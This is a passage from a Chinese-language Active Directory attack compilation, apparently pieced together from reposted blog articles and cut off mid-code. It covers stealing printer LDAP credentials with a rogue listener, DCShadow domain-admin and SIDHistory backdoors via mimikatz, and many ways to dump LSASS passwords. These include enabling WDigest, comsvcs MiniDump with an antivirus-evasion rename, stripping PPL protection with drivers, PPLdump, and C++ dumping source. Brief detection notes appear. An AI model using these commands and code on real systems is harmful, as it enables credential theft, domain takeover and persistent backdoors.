加密的。到达目的地后,通过其身份验证机制将其解密为明文,供您的会话进一步请求有价值的票证(TGT)! 这使得中间服务器能够代表您请求和获取 TGT,并在中间服务器上本地存储。然后,您的会话可以使用此 TGT 对其他服务器进行身份验证(PS 远程)。 https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera?redirectedfrom=MSDN OpenSSH 安装场景: 从 GitHub 上下载最新的 OpenSSH 发布压缩包,并将其移到攻击者的机器上(或直接下载到跳板机)。 https://github.com/PowerShell/Win32-OpenSSH/releases 将压缩包解压到您想要的位置。然后,运行安装脚本 - Install-sshd.ps1。 最后,只需添加一个防火墙规则来打开端口22。验证 SSH 服务是否已安装并启动它们。这两个服务都需要运行才能使 SSH 正常工作。 如果收到Connection reset错误,请更新权限以允许所有人:在 OpenSSH 根目录上读取和执行。 icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T 打印机中的AD信息互联网上有几篇博客强调了将打印机配置为具有默认/弱登录凭据的 LDAP 的危险性。 这是因为攻击者可以欺骗打印机对一个恶意的 LDAP 服务器进行身份验证(通常 nc -vv -l -p 444 足够),从而在明文中获取打印机凭据。此外,一些打印机可能会包含记录用户名的日志,甚至可以从域控制器上下载所有用户名。所有这些敏感信息以及常见的安全缺失使得打印机对攻击者非常有吸引力。 https://www.ceos3c.com/security/obtaining-domain-credentials-printer-netcat/ https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856 https://grimhacker.com/2018/03/09/just-a-printer/ 打印机管理界面 与许多系统类似,Konica Minolta 打印机在端口 80/443 上提供了一个 Web 管理界面。要访问管理设置,需要密码,但不幸的是,对于许多组织而言,它有一个默认密码,可以通过快速的谷歌搜索找到。根据型号的不同,有几种变化,但通常我发现密码是 '1234567812345678' 或 '12345678'。 有各种选项可用,但最近引起我注意的是 LDAP 连接设置。 关于 LDAP 和 AD 的简要说明 "轻型目录访问协议(LDAP)是在 TCP/IP 协议栈之上运行的目录服务协议,它提供了一种用于连接、搜索和修改 Internet 目录的机制。" https://msdn.microsoft.com/en-us/library/aa367008(v=vs.85).aspx 在 Windows 域环境中,您可以使用 LDAP 与 Active Directory 进行交互。 AD 将允许披露少量信息的 "null bind"(即没有用户名或密码),但不像以前那样会泄露很多信息。为了获取用户列表,必须使用有效的用户名和密码绑定到服务器。 LDAP 设置 在 Konica Minolta 打印机上,可以配置一个 LDAP 服务器进行连接,并提供凭据。在这些设备的早期固件版本中,我听说可以通过阅读页面的 HTML 源代码来恢复凭据。然而,现在凭据不会在界面中返回,所以我们需要更努力一点。 LDAP 服务器列表位于:网络 > LDAP 设置 > 设置 LDAP 界面允许在不重新输入将用于连接的凭据的情况下修改 LDAP 服务器。我猜这是为了更简单的用户体验,但这给了攻击者从打印机的控制权限升级为域的起点的机会。 我们可以将 LDAP 服务器地址设置为我们控制的机器,并使用有用的 "测试连接" 功能触发连接。 监听 正常情况下可以直接使用netcat进行监听获取凭据。 sudo nc -k -v -l -p 386 我发现打印机首先尝试进行一个空绑定(null bind),然后查询可用的信息,只有在这些操作成功后才会使用凭据进行绑定。 我搜索了一下满足要求的简单 LDAP 服务器,但选择似乎有限。最后,我选择设置了一个开放的 LDAP 服务器,并使用 slapd 调试服务器服务来接受连接并打印出打印机的消息。(如果您知道更简单的替代方案,我很乐意听听。) 安装 https://www.server-world.info/en/note?os=Fedora_26&p=openldap 从根终端: 安装 OpenLDAP。 > dnf install -y install openldap-servers openldap-clients> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG> chown ldap. /var/lib/ldap/DB_CONFIG设置 OpenLDAP 管理员密码(您很快将再次需要此密码)。 > slappasswdNew password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx > vim chrootpw.ldif# specify the password generated above for "olcRootPW" section dn: olcDatabase={0}config,cn=config changetype: modify add: olcRootPW olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx > ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldifSASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={0}config,cn=config" 导入基本架构。 > ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldifSASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=cosine,cn=schema,cn=config" > ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldifSASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=nis,cn=schema,cn=config" > ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldifSASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=inetorgperson,cn=schema,cn=config" 在 LDAP DB 上设置您的域名。 # generate directory manager's password > slappasswdNew password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx > vim chdomain.ldif# specify the password generated above for "olcRootPW" section dn: olcDatabase={1}monitor,cn=config changetype: modify replace: olcAccess olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth" read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none dn: olcDatabase={2}mdb,cn=config changetype: modify replace: olcSuffix olcSuffix: dc=foo,dc=bar dn: olcDatabase={2}mdb,cn=config changetype: modify replace: olcRootDN olcRootDN: cn=Manager,dc=foo,dc=bar dn: olcDatabase={2}mdb,cn=config changetype: modify add: olcRootPW olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx dn: olcDatabase={2}mdb,cn=config changetype: modify add: olcAccess olcAccess: {0}to attrs=userPassword,shadowLastChange by dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none olcAccess: {1}to dn.base="" by * read olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read > ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldifSASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={1}monitor,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" > vim basedomain.ldifdn: dc=foo,dc=bar objectClass: top objectClass: dcObject objectclass: organization o: Foo Bar dc: DC1 dn: cn=Manager,dc=foo,dc=bar objectClass: organizationalRole cn: Manager description: Directory Manager dn: ou=People,dc=foo,dc=bar objectClass: organizationalUnit ou: People dn: ou=Group,dc=foo,dc=bar objectClass: organizationalUnit ou: Group > ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldifEnter LDAP Password: # directory manager's password adding new entry "dc=foo,dc=bar" adding new entry "cn=Manager,dc=foo,dc=bar" adding new entry "ou=People,dc=foo,dc=bar" adding new entry "ou=Group,dc=foo,dc=bar" 配置 LDAP TLS 创建和SSL证书 > cd /etc/pki/tls/certs> make server.keyumask 77 ; \ /usr/bin/openssl genrsa -aes128 2048 > server.key Generating RSA private key, 2048 bit long modulus ... ... e is 65537 (0x10001) Enter pass phrase: # set passphrase Verifying - Enter pass phrase: # confirm # remove passphrase from private key > openssl rsa -in server.key -out server.keyEnter pass phrase for server.key: # input passphrase writing RSA key > make server.csrumask 77 ; \ /usr/bin/openssl req -utf8 -new -key server.key -out server.csr You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [XX]: # country State or Province Name (full name) []: # state Locality Name (eg, city) [Default City]: # city Organization Name (eg, company) [Default Company Ltd]: # company Organizational Unit Name (eg, section) []:Foo Bar # department Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN Email Address []:[email protected] # admin email Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: # Enter An optional company name []: # Enter > openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650Signature ok subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/[email protected] Getting Private key 为 SSL/TLS 配置 Slapd > cp /etc/pki/tls/certs/server.key \/etc/pki/tls/certs/server.crt \ /etc/pki/tls/certs/ca-bundle.crt \ /etc/openldap/certs/ > chown ldap. /etc/openldap/certs/server.key \/etc/openldap/certs/server.crt \ /etc/openldap/certs/ca-bundle.crt > vim mod_ssl.ldif# create new dn: cn=config changetype: modify add: olcTLSCACertificateFile olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt replace: olcTLSCertificateFile olcTLSCertificateFile: /etc/openldap/certs/server.crt replace: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/openldap/certs/server.key > ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldifSASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" 允许 LDAP 通过本地防火墙 firewall-cmd --add-service={ldap,ldaps} 安装并配置 LDAP 服务后,您可以使用以下命令运行它 slapd -d 2 下面的屏幕截图显示了我们在打印机上运行连接测试时的输出示例。正如您所看到的,用户名和密码从 LDAP 客户端传递到服务器。 DCShadowDCShadow通过创建恶意的域控制器,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控制器,以此来创建域后门或者获取各种类型的非法访问渠道。 下面通过DCShadow修改普通域用户man03的primaryGroupID属性演示DCShadow的攻击过程。 primaryGroupID属性指向用户所属的主要组的RID,通过将用户的primaryGroupID改为512,可以让用户成为域管理员。RID指相对标识符,是SID的组成部分,位于SID字符串的末端。Windows系统使用RID来区分用户账户和组,常见系统账户的RID如下图。 利用DCShadow在域内任意一台主机中上传Mimikatz。打开一个命令行窗口,执行以下命令启动数据更改。该命令行窗口需要为SYSTEM权限,以拥有适当的权限来创建恶意域控制器。//获取system权限 !+ !processtoken token::whoami 请注意,elevate :: token 在 mimikatz1 会话中不起作用,因为它仅提升了线程的权限,但我们需要提升进程的权限。 //创建恶意域控制器,且修改用户组中man03为域管理员 lsadump::dcshadow /object:CN=man03,CN=Users,DC=vvvv1,DC=com /attribute:primaryGroupID /value:512 执行后,第一个命令行窗口不要关闭,并新开一个域管理员权限的命令行窗口。在新的命令行窗口中执行以下命令强制触发域复制,将数据更改推送至合法的域控服务器。lsadump::dcshadow /push 发现man03用户已经成为域管理员。 您可以通过具有以下最小权限的 DA 或用户推送更改: 在域对象中: DS-Install-Replica(添加/删除域中的副本)DS-Replication-Manage-Topology(管理复制拓扑)DS-Replication-Synchronize(复制同步)配置容器中 Sites 对象(及其子级): CreateChild 和 DeleteChild已注册为 DC 的计算机对象: WriteProperty(而不是 Write)目标对象: WriteProperty(而不是 Write)您可以使用 Set-DCShadowPermissions 命令将这些权限授予一个非特权用户(请注意,这将留下一些日志)。这比拥有 DA 权限更加限制性。 https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1 例如: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose 这意味着当用户名为 student1 的用户在机器 mcorp-student1 上登录时,他将具有对对象 root1user 的 DCShadow 权限。 创建后门 lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519 lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519 First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl Second, add to the ACE permissions to your user and push it using DCShadowlsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL> 痕迹观察为了检测这种恶意活动,您可以监控网络流量,并怀疑任何不是 DC 主机(在我们的情况下是 PC-W10$,其 IP 地址为 10.0.0.7)向 DC(在我们的情况下是 10.0.0.6 上的 DC-MANTVYDAS)发出 RCP 请求,如下所示。 对于日志也是同样的情况,如果您看到一个非 DC 主机导致 DC 记录一个 4929 事件(详细的目录服务复制),您可能想调查一下该系统上还发生了什么其他情况。 mimikatz 目前的 DCShadow 实现在短时间内创建一个新的 DC,并在推送完成后删除其相关对象,这种模式可能会触发警报,因为在 1-2 秒的时间范围内同时发生新 DC 的创建、相关对象的修改和删除看起来是异常的。事件 4662 可能有助于识别这一情况。 LAPShttps://zhuanlan.zhihu.com/p/37853137 https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#laps https://blog.51cto.com/rdsrv/2708914 LAPS(本地管理员密码管理解决方案)允许您管理域加入计算机上的本地管理员密码(密码是随机生成的、唯一的,并定期更改)。这些密码被集中存储在活动目录中,并通过访问控制列表(ACL)限制只有授权用户可以访问。密码在从客户端到服务器的传输过程中使用 Kerberos v5 和 AES 进行保护。 当使用 LAPS 时,域中的计算机对象中会出现两个新属性: ms-mcs-AdmPwd 和 ms-mcs-AdmPwdExpirationTime。 这些属性包含明文的管理员密码和密码过期时间。因此,在域环境中,检查哪些用户可以读取这些属性可能是有意义的。 reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled dir "C:\Program Files\LAPS\CSE" # Check if that folder exists and contains AdmPwd.dll # Find GPOs that have "LAPS" or some other descriptive term in the name Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl # Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property) Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname 转载自原文链接地址: https://forum.butian.net/share/3681
  3. 获取当前机器的明文密码在导出域hash之前,我们可以先尝试导出当前机器的本地的hash密码,如果域用户之前在这台机器上进行登陆操作的话,可以直接获取到域用户甚至域管理员的账号。 在Windows操作系统上,sam数据库(C:\Windows\System32\config\sam)里保存着本地用户的hash。 在本地认证的流程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中(dmp文件)。 因此,在这里我们可以考虑两种方式进行抓取当前机器的hash:在线工具提取,离线分析提取。 注意:在windows 10\ 2012r2之后的系统版本中,默认情况下已禁用在内存缓存中存系统用户明文密码,此时再直接使用mimikatz去抓明文,肯定是抓不到的。密码字段位会直接显示为null。 这里我们手动修改注册表让其保存明文,方便我们进行抓取。(修改后需要注销用户再登陆) reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 /f mimikatzmimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。 下载地址:https://github.com/gentilkiwi/mimikatz 1.通过注册表抓取hash 命令行执行,获取当前系统注册表的SAM、SYSTEM文件(需要本地的管理员权限) reg save HKLM\\SYSTEM Sys.hiv reg save HKLM\\SAM Sam.hiv 获取到文件后可以下载到攻击者本机,离线使用mimikatz分析提取hash。 mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv" "exit" 这个方法只能获取到保存在SAM文件中的本地用户的账户 2.上传mimikatz进入目标靶机,在线提取本地SAM文件保存的账户hash值 privilege::debug token::elevate lsadump::sam 3.从lsass.exe的内存中提权hash mimikatz "privilege::debug" "sekurlsa::logonpasswords full" "exit" 发现使用本地用户的管理员权限抓取到了登陆过本机的域管理员的hash值。 pwdump7直接运行PwDump7.exe即可 WEC上传到目标靶机添加参数直接运行即可。 -l 列出登录的会话和NTLM凭据(默认值) -s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希> -r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次 -c 用一个特殊的NTML凭据运行一个新的会话 参数: -e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次 -o 保存所有的输出到一个文件 参数:<文件名> -i 指定一个LUID代替使用当前登录会话 参数: -d 从登录会话中删除NTLM凭据 参数: -a 使用地址 参数: <地址> -f 强制使用安全模式 -g 生成LM和NT的哈希 参数<密码> -K 缓存kerberos票据到一个文件(unix和windows wce格式) -k 从一个文件中读取kerberos票据并插入到windows缓存中 -w 通过摘要式认证缓存一个明文的密码 -v 详细输出 laZagne下载地址:https://github.com/AlessandroZ/LaZagne LaZagne.exe all SharpDumphttps://github.com/GhostPack/SharpDump 直接编译即可 ./Sharpdump LsassSilentProcessExithttps://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。 主要使用LsassSilentProcessExit这个api,通过修改注册表+远程进程注入的方式转储内存,相关的注册表键值: #define IFEO\_REG\_KEY "SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\" #define SILENT\_PROCESS\_EXIT\_REG\_KEY "SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\" 使用远程进程注入让lsass.exe自己调用RtlReportSilentProcessExit函数: HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); RtlReportSilentProcessExit\_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit\_func)GetProcAddress(hNtdll, "RtlReportSilentProcessExit"); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD\_START\_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL); 但是由于需要修改注册表,因此几乎无法绕过杀软环境。 LsassSilentProcessExit.exe 616 0 在敏感的环境下转储lsass进程的方式无文件上传使用powershell导出https://blog.csdn.net/chenfeng857/article/details/120126818 https://xz.aliyun.com/t/12157#toc-9 comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存。 在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态 如果直接在cmd下执行rundll32的命令尝试dump指定进程内存文件的话,由于无法开启SeDebugPrivilege权限,会dump失败。 但是,在管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为已启用。 首先查看lsass.exe进程PID tasklist | findstr lsass.exe rundll32.exe comsvcs.dll MiniDump PID Path full rundll32.exe comsvcs.dll MiniDump 1096 C:\\Users\\16229\\Desktop\\1.dmp full 直接运行的话有可能会被杀软拦截。 一个简单的绕过思路: copycomsvcs.dll到不敏感的目录,并随机命名,例如test.dll copy C:\\windows\\System32\\comsvcs.dll test.dll rundll32.exe C:\\Users\\16229\\Desktop\\code\_java\\test.dll MiniDump 1096 C:\\Users\\16229\\Desktop\\code\_java\\3.dmp full 拖到本地使用mimikatz进行分析即可。 mimikatz.exe log "sekurlsa::minidump 2.dmp" "sekurlsa::logonPasswords full" exit 在开启runasppl的环境下https://www.freebuf.com/articles/system/332506.html https://xz.aliyun.com/t/12157#toc-19 mimikatz在开启PPL保护的情况下,即使是管理员也无法打开lsass进程。 mimikatz "privilege::debug" "sekurlsa::logonpasswords full" "exit" Mimikatzprivilege::debug中的命令成功启用;SeDebugPrivilege,但是该命令sekurlsa::logonpasswords失败并出现错误代码0x00000005,从minikatz代码kuhl_m_sekurlsa_acquireLSA()函数中我们可以简单了解为 HANDLE hData = NULL; DWORD pid; DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION; kull_m_process_getProcessIdForName(L"lsass.exe", &pid); hData = OpenProcess(processRights, FALSE, pid); if (hData && hData != INVALID_HANDLE_VALUE) { // if OpenProcess OK } else { PRINT_ERROR_AUTO(L"Handle on memory"); } 使用process explorer打开lsass进程查看,显示拒绝访问。 在Mimikatz中使用数字签名的驱动程序来删除内核中 Process 对象的保护标志 minikatz安装驱动程序 privilege::debug !+ 删除保护 !processprotect /process:lsass.exe /remove 然后就可以dump密码了 sekurlsa::logonpasswords 使用工具查看发现保护已经被删除了 mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit" PPLKILLERhttps://www.cnblogs.com/revercc/p/16961961.html https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10/ 优先级区别:PP 可以以完全访问权限打开 PP 或 PPL,只要其签名者级别大于或等于;一个 PPL 可以打开另一个具有完全访问权限的 PPL,只要其签名者级别大于或等于;无论签名者级别如何,PPL 都无法以完全访问权限打开 PP。 在开启PPL的情况下,只有运行在较高保护级别的进程才能对受保护进程进行操作。 Windows 内核使用 _EPROCESS 结构来表示内核内存中的进程,它包括一个 _PS_PROTECTION 字段,通过其 Type (_PS_PROTECTED_TYPE) 和 Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。 typedef struct _PS_PROTECTION { union { UCHAR Level; struct { UCHAR Type : 3; UCHAR Audit : 1; // Reserved UCHAR Signer : 4; }; }; } PS_PROTECTION, *PPS_PROTECTION; 虽然它表示为结构体,但所有信息都存储在单个字节的两个半字节中(Levelis a UCHAR,即 an unsigned char)。前 3 位表示保护Type(见PS_PROTECTED_TYPE下文)。它定义该进程是 PP 还是 PPL。最后 4 位表示Signer类型(见PS_PROTECTED_SIGNER下文),即实际的保护级别。 typedef enum _PS_PROTECTED_TYPE { PsProtectedTypeNone = 0, PsProtectedTypeProtectedLight = 1, PsProtectedTypeProtected = 2 } PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE; typedef enum _PS_PROTECTED_SIGNER { PsProtectedSignerNone = 0, // 0 PsProtectedSignerAuthenticode, // 1 PsProtectedSignerCodeGen, // 2 PsProtectedSignerAntimalware, // 3 PsProtectedSignerLsa, // 4 PsProtectedSignerWindows, // 5 PsProtectedSignerWinTcb, // 6 PsProtectedSignerWinSystem, // 7 PsProtectedSignerApp, // 8 PsProtectedSignerMax // 9 } PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER; 如果我们要绕过 LSA 保护,可以通过修补 EPROCESS 内核结构来禁用 LSASS 进程上的 PPL 标志。为此,我们需要找到 LSASS EPROCESS 结构的地址,并将 5 个值:SignatureLevel、SectionSignatureLevel、Type、Audit 和 Signer 修补为零。 EnumDeviceDrivers 函数可用于泄漏内核基地址。这可用于定位 PsInitialSystemProcess,它指向系统进程的 EPROCESS 结构。由于内核将进程存储在链表中,因此可以使用EPROCESS结构的ActiveProcessLinks成员来迭代链表并查找LSASS。 查看 EPROCESS 结构,我们可以看到我们需要修补的 5 个字段都按惯例对齐为连续的 4 个字节。这让我们可以在单个 4 字节写入中修补 EPROCESS 结构,如下所示: WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + SignatureLevelOffset, 0x00); 找到地址后将这四个字节的值修补为零即可。 PPLKiller.exe /installDriver tasklist | findstr lsass.exe PPLKiller.exe /disablePPL 688 如果遇到内核版本不同导致程序无法正确修补四个字节,可以找到相同版本的机器,通过windbg调试查看lsass内核地址 。 bcdedit /debug on srv\*https://msdl.microsoft.com/download/symbols .reload !process 0 0 lsass.exe dt \_eprocess 找到地址0x6c0,将脚本修改再进行编译即可。 PPLdumphttps://itm4n.github.io/the-end-of-ppldump/ https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/ PPLdump是一个用 C/C++ 编写的工具,它实现了用户态漏洞利用,以管理员身份将任意代码注入 PPL。该技术是 Alex Ionescu 和 James Forshaw 对受保护进程(PP 和 PPL)进行深入研究的众多发现之一。 PPLdump的工作原理如下: 调用API来诱骗 CSRSS 服务创建指向任意位置的DefineDosDevice符号链接。\KnownDlls创建一个新的Section对象(由前面的符号链接指向)来托管包含我们要注入的代码的自定义DLL的内容。作为 PPL 运行的可执行文件导入的 DLL 被劫持并执行我们的代码。这里要记住的最重要的事情是,整个漏洞利用依赖于 PPL 中存在的弱点,而不是 PP 中存在的弱点。事实上, PPL 可以从目录加载 DLL\KnownDlls,而 PP 总是从磁盘加载 DLL。这是一个关键的区别,因为仅在最初从磁盘读取 DLL 以创建新的 Section 对象时才检查 DLL 的数字签名。当它被映射到进程的虚拟地址空间时,不会再检查它。 PP(L) 模型有效地防止未受保护的进程访问具有扩展访问权限的受保护进程,OpenProcess例如。这可以防止简单的内存访问,但是我没有提到这种保护的另一个方面。它还可以防止这些进程加载未签名的 DLL。这是有道理的,否则整体安全模型将毫无意义,因为您可以使用任何形式的 DLL 劫持并将任意代码注入您自己的 PPL 进程。这也解释了为什么在启用LSA保护时要特别注意第三方认证模块。 但这一规则有一个例外!这或许就是PP和PPL最大的区别所在。如果您了解 Windows 上的 DLL 搜索顺序,您就会知道,当创建一个进程时,它首先会遍历“已知 DLL”列表,然后继续遍历应用程序目录、系统目录等......搜索顺序中,“已知 DLL”步骤是一个特殊的步骤,通常会从 DLL 劫持漏洞的等式中删除,因为用户无法控制它。不过,在我们的例子中,这一步恰恰是 PPL 流程的“致命弱点”。 “已知 DLL”是 Windows 应用程序最常加载的 DLL。因此,为了提高整体性能,它们被预加载到内存中(即被缓存)。如果您想查看“已知 DLL”的完整列表,您可以使用WinObj并查看\KnownDlls对象管理器中目录的内容。 如果在PP保护的情况下加载DLL,每个文件的数字签名都需要经过验证,因此在较新的win10/server2022/win11(大约2022.7更新)的版本中,已经无法使用PPLdump,因为ppl程序于pp程序一样从磁盘直接加载dll。 ppl保护的程序会从\Known DLLs先查找,如果我们可以控制\Known DLLs中的dll,就可以实现dll劫持的功能,进而达到在lsass的程序空间中执行代码的效果。 利用原理: 1.向\Known DLLs中添加一个DLL,加载该DLL的进程,要满足被PPL保护且等级高于PsProtectedSignerLsa,比如PsProtectedSignerWinTcb-Light。且还要劫持目标dll后不影响程序功能,工具作者找到的进程为services.exe,被hook的dll为EventAggregation.dll; 2.以新建一个内核对象,该内核对象为一个符号链接,指向我们的恶意dll的section,而并非dll文件。我们可以使用NtCreateSection获得Section对象,但需要dll文件落地。 3.挟持DLL执行命令DUMP出lsass内存。 PPLdump.exe -v 648 1.dmp 在卡巴斯基的环境下https://www.jianshu.com/p/00d70dc76678 使用国外大佬XPN使用RPC控制lsass加载SSP的代码,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 将三个文件下载到本地,使用visual studio进行编译,需要修改了几个地方。 (1)添加如下代码 pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib库文件)(2)将.c文件后缀改成.cpp (使用了c++代码,需要更改后缀) (3) 编译时选择x64 (XPN大佬提供的是64位代码) 静态编译和动态编译是两种不同的编译方式,它们在编译和运行阶段的行为有所不同。 静态编译:静态编译是指在编译阶段将程序所依赖的库和资源全部打包到可执行文件中。在编译时,链接器会将所有必要的代码和库函数合并到最终的可执行文件中。在运行时,不需要外部的依赖,可执行文件可以直接在目标系统上运行。可执行文件相对较大,但不需要额外的依赖性,并且可以独立于目标系统。动态编译:动态编译是指在编译阶段只生成程序的部分代码,依赖的库和资源在运行时通过动态链接加载。在编译时,只生成程序的框架,不包含具体的库函数的实现。在运行时,程序会通过动态链接器根据需要加载依赖的库函数。可执行文件相对较小,但在运行时需要依赖目标系统上存在相应的共享库文件。区别总结: 静态编译将所有依赖打包到可执行文件中,不依赖外部库,可执行文件相对较大,但独立于目标系统。动态编译在运行时加载依赖的库函数,可执行文件相对较小,但需要目标系统上存在相应的共享库。静态编译适合需要独立执行、移植性要求较高或资源受限的场景。动态编译适合需要灵活依赖库和方便更新的场景。使用静态编译,防止不同的环境导致无法运行。 使用Release方式,防止生成文件过大。 然后用生成的exe,加载dump内存的dll文件,这里使用的是奇安信A-team团队公布的源码,并在基础上,增加了自动获取lsass的PID号功能,无需每次使用重复编译。 #include <cstdio> #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <string> #include <map> #include <TlHelp32.h> #pragma comment(lib,"Dbghelp.lib") using namespace std; int FindPID() { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { cout << "CreateToolhelp32Snapshot Error!" << endl;; return false; } BOOL bResult = Process32First(hProcessSnap, &pe32); while (bResult) { if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) { return pe32.th32ProcessID; } bResult = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); return -1; } typedef HRESULT(WINAPI* _MiniDumpW)( DWORD arg1, DWORD arg2, PWCHAR cmdline); typedef DWORD(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled); int dump() { HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t; MiniDumpW = (_MiniDumpW)GetProcAddress( LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege"); if (MiniDumpW == NULL) { return 0; } // try enable debug privilege RtlAdjustPrivilege(20, TRUE, FALSE, &t); wchar_t ws[100]; swprintf(ws, 100, L"%hd%hs", FindPID(), " 